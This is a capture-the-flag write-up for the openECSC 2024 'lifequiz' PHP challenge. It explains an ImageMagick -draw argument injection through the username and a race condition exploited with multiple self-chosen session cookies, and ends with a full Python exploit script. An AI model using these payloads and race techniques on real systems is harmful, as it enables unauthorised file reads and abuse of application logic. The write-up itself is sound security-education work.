Try out our quiz to win a incredible prize!
Site: http://lifequiz.challs.open.ecsc2024.it
flag{...}
, in our case the format is openECSC{...}
The challenge provided us with a website in PHP that allowed us to:
array_rand
function from the possible answers. The possible questions were composed of 5 items, thus repeating 3 times the same question. If you answer correctly you get 1 point, if you answer incorrectly you get 0 points./get_prize.php
page, which will give you a prize, the prize is an image with a custom text in it, and the text is generated with the convert
command from ImageMagick, and the text is the username of the user that is logged in./reset.php
to reset the quiz and start again from question number 1.The flag (our goal) is in the /prizes/flag.jpg
file. From the Dockerfile
we can guess, even without ever seeing the convert
command before, that it is generated using the trophy.jpg
file as a template using:
RUN convert -draw 'text 0,1219 "flag{test_flag}"' -pointsize 60 -gravity Center /trophy.jpg /prizes/flag.jpg
Having in mind our goal, let us analyze the source code to see if we can find any vulnerabilities that can lead us to the flag.
We can find potential SQLi or path traversal attacks on the $_SESSION['user']
, in many places, for example:
# get_prize.php - 13:16 ... 13: $user = $_SESSION['user']; 14: 15: $sql = "SELECT * FROM users WHERE id = '$user'"; 16: $result = $conn->query($sql); ...
or
# trophy.php - 10-13 ... 10: $user = $_SESSION['user']; 11: 12: if (file_exists("/prizes/$user.jpg")) { 13: readfile("/prizes/$user.jpg"); ...
Unfortunately, though, it is not controlled by us since it is a random id generated by the server after registering.
# login.php - 53 ... 53: $id = bin2hex(random_bytes(16)); ...
Also there is potential SQLi on the email during registering, since it is not put in a prepared statement (only password and username are).
# login.php - 56:58 ... 56: $sql = "INSERT INTO users (id, email, username, password) VALUES ('$id', '$email', ?, ?)"; 57: $stmt = $conn->prepare($sql); 58: $stmt->bind_param('ss', $_POST['username'] , $password); ...
But, again: nope.
There is a check with preg_match
at the beginning on the email field that doesn't allow us to SQLi. All these could have potentially leaded us directly to the flag.
Another weird stuff is in the get_prize.php
file.
# get_prize.php - 10:12 ... 13: $conn = db_connect(); 14: $user = $_SESSION['user']; 15: 16: $sql = "SELECT * FROM users WHERE id = '$user'"; 17: $result = $conn->query($sql); 18: if ($result->num_rows > 0) { 19: $row = $result->fetch_assoc(); 20: $question_id = $row['question_id']; 21: $points = $row['points']; 22: $username = $row['username']; ... 31: if ($points < $PRIZE_POINTS) { ... 33: } else { ... 35: if ($question_id != -1) { 36: 37: // Print the prize 38: $cmd = "convert -draw " . escapeshellarg("text 0,1219 \"$username\"") . " -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &"; 39: echo system($cmd, $retval); ...
To sum up, it takes the user id from the session, then it gets the user from the database, and if the user has more than 15 points, it will print the prize with the username of the user in it.
The interesting thing is that it uses the system function, that allows us to execute commands in the system.
# get_prize.php - 38:39 ... 38: $cmd = "convert -draw " . escapeshellarg("text 0,1219 \"$username\"") . " -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &"; 39: echo system($cmd, $retval); ...
Usually, it is not recommended to use the system function, since it can lead to command injection vulnerabilities.
Here the problem is that even though the username is escaped with escapeshellarg, from the PHP doc:
escapeshellarg() adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument
this only protects from injecting commands, but not from injecting parameters to the command. Let us break it down:
The escapeshellarg will put single quotes around the string text 0,1219 "$username"
and will escape any single quotes in the string.
We can control the $username
variable so the command that the system will run will be something like this:
convert -draw 'text 0,1219 "<our_input>"' -pointsize 100 -gravity Center /trophy.jpg /prizes/$user.jpg &
Treating it effectively as a string. We cannot inject commands like ${ls}
or `ls`
since they will be treated as string and not commands. But we can inject parameters, opening and closing the " as much as we like, or add some other text, which could potentially alter the behavior of the convert command. To understand if this is feasible we need to look up the convert command from ImageMagick, and especially the -draw option.
After some time googling, I found that the convert
command from ImageMagick is a tool that allows us to manipulate images in many ways. Our interest lays on the draw option since it is the one injectable. From the documentation of the -draw option we get:
Annotate an image with one or more graphic primitives.
Use this option to annotate or decorate an image with one or more graphic primitives. The primitives include shapes, text, transformations, and pixel operations.
So we can put more than one graphic primitive in the image, that looks promising.
But what are those graphic primitives? The fastest way in this case is to look at examples and trying to figure out what we can do with them.
We can find an example of using two primitives (text, and rotate) in the documentation above:
-draw "rotate 45 text 10,10 'Works like magick!'"
Meanwhile, the convert command we want to inject uses the text graphic primitive, which allows us to draw text in the image. The text primitive is defined as:
text x0,y0 string
which it takes the coordinates x0 and y0 and the string to print in the image.
The problem is that since escapeshellargs doesn't escape the double-quote ("), we can inject more graphic primitives after the text primitive.
So the draw option in the command, if we use for instance the username
abc" other-primitive "somestring
the command will be executed as follow:
convert -draw 'text 0,1219 "abc" other-primitive "somestring"' ...
Which looks perfect to us, now it is the time to find a primitive that can help us to read the flag file.
The primitive that immediately attracts our attention is the image primitive that is defined as follow:
image operator x0,y0 w,h filename
and gives us an example that catches our interest:
Use image to composite an image with another image. Follow the image keyword with the composite operator, image location, image size, and filename: -draw 'image SrcOver 100,100 225,225 image.jpg'
This looks exactly what we were looking for, continuing this path we can see in the documentation what the SrcOver
operator does:
src-over - The source is composited over the destination. this is the default alpha blending compose method, when neither the compose setting is set, nor is set in the image meta-data.
Perfect! We can now read the flag file and print it in the image. We can set the username as something like this:
abc" image SrcOver 0,0 4000,4000 "/prizes/flag.jpg
(4000, 4000 is the width and height of the image, we can set it to any value, it doesn't matter)
Buuuut, not quite. We have a limit on the number of characters we can use, indeed, from the init.sql
file:
# init.sql 2-4 2: CREATE TABLE users ( ... 4: username VARCHAR(36) NOT NULL, ...
So we have only 36 characters available. Right now our solution is 50 characters long, so we need to find a way to shorten it.
After some tests locally we can find we don't need the space at the beginning of the string, we can have the text to be empty (no need to write abc) and we can also set 0,0 as height and width, having the username become something like this:
"image SrcOver 0,0 0,0 "/prizes/flag.jpg
It is still 40 characters long, so we need to find a way to shorten it more.
Let us look at the documentation to see if we can find another operator that is shorter than SrcOver
and works the same way.
Indeed, we can find the src
operator
defined as follow
The source is copied to the destination. The destination is not used as input, though it is cleared.
that works for us as the same as SrcOver
(or src-over) but it is shorter, so we can use it and the new payload will be:
"image src 0,0 0,0 "/prizes/flag.jpg
which is exactly 36 (Is it a coincidence? I don't believe so)
We now have the command injection on the username ready, we need to register with the username as the payload found before, play the quiz, and get 15 points to trigger the command injection when getting the prize.
The main concern is that the correct answer is pseudo-randomly generated, independently for each request. We need to find a way to get 15 points, other than being very, very lucky.
This is where I lost many, many hours. Some ideas I had were:
array_rand
function is not cryptographically secure, so it should be possible to predict the next number having enough numbers from the sequence. The issue is that, unfortunately, we are not the only ones trying to get the flag so we are not sure that the sequence we get it is truthy, and also we do not want to make too many requests.quiz.php
file, we can see that the way it manages the points and the question_id is not proper:# quiz.php - 13:94 ... 13: if (!isset($_SESSION['user'])) { ... 17: } else { 18: $user = $_SESSION['user']; 19: 20: // Get the current question 21: $sql = "SELECT * FROM users WHERE id = '$user'"; 22: $result = $conn->query($sql); 23: if ($result->num_rows > 0) { 24: $row = $result->fetch_assoc(); 25: $question_id = $row['question_id']; 26: $points = $row['points']; 27: $username = $row['username']; 28: } else { ... 33: } ... 70: // If the user has submitted an answer, check if it is correct 71: if (isset($_POST['answer'])) { ... 76: $question_id++; 77: if ($answer === $correct_answer) { ... 80: $sql = "UPDATE users SET points = points+1 WHERE id = '$user'"; 81: $conn->query($sql); 82: } else { ... 84: } ... 93: $sql = "UPDATE users SET question_id = $question_id WHERE id = '$user'"; 94: $conn->query($sql); ...
There are here three queries that are executed when the user answers a question. Let us call them Q1, Q2, and Q3.
First, it retrieves info about the user, taken from the session (Q1), such as the current question_id
(current question number counter), and the current points
. Secondly, it sets the points as points=points+1
(Q2) and, finally, it sets the question id as question_id=$question_id
(Q3) as the local php variable previously incremented by 1.
Looking at these in the context of race conditions, we can see, for example, that if we send two requests: let them be A and B, at the same time, the server may interleave the order of each query.
Interleaving queries from different requests can lead to unexpected behavior, and in this case, we can exploit it to get more points than we should.
A possible interleaving order of execution of the queries could be:
A.Q1 -> B.Q1 -> A.Q2 -> B.Q2 -> A.Q3 -> B.Q3
The points will be incremented by 2 (if the answer is correct in both requests), but the question_id will be set to the same value, thus if we can send more requests answering the same question_id, we could potentially have the points increased by one for each request, while the question id set only by plus one.
Notice that any combination of the queries executed by the server for us is fine as long as the Q1 (retrieving user info from db) for each request is executed before the Q3 of any requests (since the Q3 is the one that sets the question_id).
Sounds like a plan, right? The only issue is the way sessions are handled in PHP, sessions in PHP are locked, so we cannot have the same session run two (or more) files at the same time.
Locks are a way to prevent race conditions, which is what we would like to exploit. What will happen is that if we have two requests with the same session, the first one will "acquire the lock", the second request will wait until the lock is "released", that is when the first request is finished. Exactly what we don't want.
After many hours trying to get other ideas, even excluding the race condition itself, which lead me to many rabbit holes, I dropped by the cookie attack session of Hacktricks:
Extra Vulnerable Cookies Checks - Basic checks
- The cookie is the same every time you login.
- Log out and try to use the same cookie.
In PHP the session is handled with the PHPSESSID
cookie. It is the cookie that contains the session id, and the server uses it to identify the user.
Thus, after these check I realized that the server was not setting the cookie for me, but I was the one controlling it. Indeed, I could log in with the same credentials, but with different cookies! This meant that I could have multiple sessions that represented the same (single) user, having multiple sessions meant no session locking, and thus I could trigger the race condition talked before!
After some time to code the script, I tried first locally to see if it worked, and it did! I was sending 4 requests at a time, from 4 different sessions, and were able to get 15 points always after around 12 rounds, then I was able to visit the trophy.php
page and get the flag.
I then tried to run it on the remote server, but I had many issues with latency, the main obstacle was that I was not able to make the server handle the requests at the same time. So it happened that the Q1 of some requests were executed after the Q3 of other requests. Thus, leading to increasing the question_id more times that I wanted.
When trying to win a race condition, the period of time during which a collision is possible is known as the "race window", and we would like the window to be as large as possible. The issue was that the window was too small. The window in this race was the time that it took for the server to execute from the Q1 to the Q3 of a request.
Usually, there are ways to increase the window, for example, by making the server do more work, or by making the server wait for some time, or by making the server do some heavy computation inside the desired window. But in this case, even if probably there were, I was not able to find ways to increase the window.
Thus, excluding increasing the race window, my plan was to increase as possible the number of requests I was sending, and make them concurrent on a lower level (I was using threads in python).
I found this python library called requests-racer
Requests-Racer is a small Python library that lets you use the Requests library to submit multiple requests that will be processed by their destination servers at approximately the same time, even if the requests have different destinations or have payloads of different sizes.
Having to change the script to use this library, I was able to send many requests at the same time, and after some trials, ending up sending 100 requests at the same time, and I was able to get 15 points. Thus after visiting the trophy.php
page:
Here you can find my exploit scripts, have fun replicating it!
import requests from pwn import * # I have cloned the requests_racer repo from github # Followed the instructions in the README.md to install the library # and have the folder inside the current directory of this script from requests_racer import SynchronizedAdapter # See documentation of the library to understand how to use it sync = SynchronizedAdapter() # Taken from source code answers = [ ['42', 'There is no meaning', 'To be happy', 'To help others'], ['To express emotions', 'To make money', 'To make people think', 'To make people happy'], ['To be free', 'To be rich', 'To be healthy', 'To be happy'], ['Yes', 'No', 'Maybe', 'I don''t know'], ['In the city', 'In the country', 'In the mountains', 'In the beach'] ] username = "\"image src 0,0 0,0 \"/prizes/flag.jpg" email = "verycoolwithoutatemaildotcom" password = None login_path = '/login.php' register_path = login_path quiz_path = '/quiz.php' reset_path = '/reset.php' prize_path = '/get_prize.php' is_remote = False if args.REMOTE: is_remote = True url = 'http://lifequiz.challs.open.ecsc2024.it/' else: url = 'http://localhost:8000' # solved with THREADS=100 no_of_sessions = 4 if args.THREADS == '' else int(args.THREADS) sessions = [] points = 0 index = 0 def mount_sessions(): global sessions global no_of_sessions global sync for i in range(no_of_sessions): s = sessions[i] s.mount('http://', sync) s.mount('https://', sync) def init_sessions(): global sessions sessions = [] for i in range(no_of_sessions): s = requests.Session() session_cookie = 'veryverysecretsessionid' + str(i) s.cookies.set('PHPSESSID', session_cookie) sessions.append(s) def get_password(): # get password from file password.txt if is_remote: filename = f'remote-password.txt' else: filename = f'local-password.txt' with open(filename, 'r') as f: return f.read().strip() def set_password(p): global password # save password to file password.txt if is_remote: filename = f'remote-password.txt' else: filename = f'local-password.txt' with open(filename, 'w') as f: f.write(p) password = p def register(i): global sessions global username global email s = sessions[i] if s == None: print('No session') raise Exception('No session') data = { 'username': username, 'email': email } r = s.post(url + register_path, data=data) if r.status_code != 200: print(r.status_code) print(r.text) return # find password in <div class='alert alert-success'>User created! Your password is \"$password\"</div> t = r.text if 'Email already registered' in t: print('Email already registered') if 'alert alert-success' not in t: print('No alert success') print(t) return t = t.split('alert alert-success')[1] t = t.split('Your password is')[1] t = t.split('</div>')[0] password = t.split('"')[1] print('Password is ' + password) set_password(password) return password def login(i, email = email, password = password): global sessions s = sessions[i] if s == None: print('No session') raise Exception('No session') data = { 'email': email, 'password': password } r = s.post(url + login_path, data=data) if r.status_code != 200: print(r.status_code) print(r.text) return # print(r.text) def authenticate(index = None): global password global email if index != None: # authenticate single session try: password = get_password() except: register(index) finally: login(index) else: # authenticate all sessions try: password = get_password() except: password = register(0) finally: for i in range(no_of_sessions): login(i, email=email, password=password) def reset(i): global sessions global index s = sessions[i] r = s.get(url + reset_path) if r.status_code != 200: print(r.status_code) print(r.text) return index = 0 print(f'[s{i}] Reset done') def make_get_points(i): global sessions s = sessions[i] r = s.get(url + prize_path) return r def handler_get_points(r, i): global points t = r.text if 'You have' in t: points = t.split('You have ')[1].split(' points')[0] # print(f'Points: {points}') return int(points) elif 'Error getting your prize' in t: print('Error in getting PRIZE') return 15 elif 'Your prize is ready, ' in t: print('Your prize is ready') return 15 else: print('Error while getting points') print(t) raise Exception('Error while getting points') def make_answer_quiz(answer, i): global sessions s = sessions[i] data = { 'answer': answer } r = s.post(url + quiz_path, data=data) return r def handler_answer_quiz(r, i, answer): global answers global index t = r.text if 'Correct' in t: # Get questio number from <h3 class='mb-3'>Question 5</h3> question = t.split('Question ')[1].split('</h3>')[0] print(f'[s{i}][+1] Correct [question no. {question}] {answer}') elif 'Incorrect' in t: # Get questio number from <h3 class='mb-3'>Question 5</h3> question = t.split('Question ')[1].split('</h3>')[0] print(f'[s{i}][0] Incorrect [question no. {question}] {answer}') correct_answer = t.split('The correct answer was: ')[1].split('</p>')[0] print(f'Correct answer: {correct_answer}') elif 'No question found' in t: print(f'[s{i}][?] No question found') elif 'You answered all the questions' in t: print(f'[s{i}][X] You have already answered all questions') elif 'Congratulations' in t: print(f'[s{i}][!] Congratulations') else: print(t) def make_get_current_index(i): global sessions s = sessions[i] r = s.get(url + quiz_path) return r def handler_get_current_index(r, i): t = r.text if 'Question' in t: question = t.split('Question ')[1].split('</h3>')[0] q = int(question) return (q-1) % 5, q # 5 questions per round else: print('No question found') raise Exception('No question found') def make_get_session_cookie(i): r = make_get_points(i) return r def handler_get_session_cookie(r, i): global points global sessions points = handler_get_points(r, i) print(f"[{points}pts] session[{i}] = {sessions[i].cookies}") def solve_quiz(): global answers global index global sync global points mount_sessions() # for all rounds (3) for i in range(3): # for all sets of answers (5) for k in range(len(answers)): r = make_get_points(0) sync.finish_all() points = handler_get_points(r, 0) if points >= 15: print('Already won') return else: print(f'Points: {points}') sleep(1) r = make_get_current_index(0) sync.finish_all() [index, count] = handler_get_current_index(r, 0) print(f'Current index/count: {index}/{count}') responses = [None]*no_of_sessions actual_answers = [None]*no_of_sessions # for each answer, make multiple requests in parallel in different sessions for j in range(no_of_sessions): round_answers = answers[index] answer = round_answers[(i+2)%len(round_answers)] actual_answers[j] = answer responses[j] = make_answer_quiz(answer, j) sync.finish_all() for j in range(no_of_sessions): a = actual_answers[j] r = responses[j] handler_answer_quiz(r, j, a) index = (index + 1) % len(answers) count = k+1+i*len(answers) def exploit(): global points global sync random_sleep = 30 # default 30s init_sessions() print("initiated sessions") authenticate() res = input("Reset points?") if res.lower() == 'y': reset(0) print('Reset done') else: print('No reset') try: while points < 15: try: # resetting points solve_quiz() except Exception as e: print(e) reset(0) random_sleep = random.random()*60 finally: if points < 15: # slowing down the requests to not ddos the server print(f'Sleeping for {random_sleep:.2f} seconds') time.sleep(random_sleep) print('Won') except KeyboardInterrupt: pass except Exception as e: print(e) finally: print('Exiting...') r = make_get_session_cookie(0) sync.finish_all() # print session cookie handler_get_session_cookie(r, 0) if __name__ == '__main__': exploit()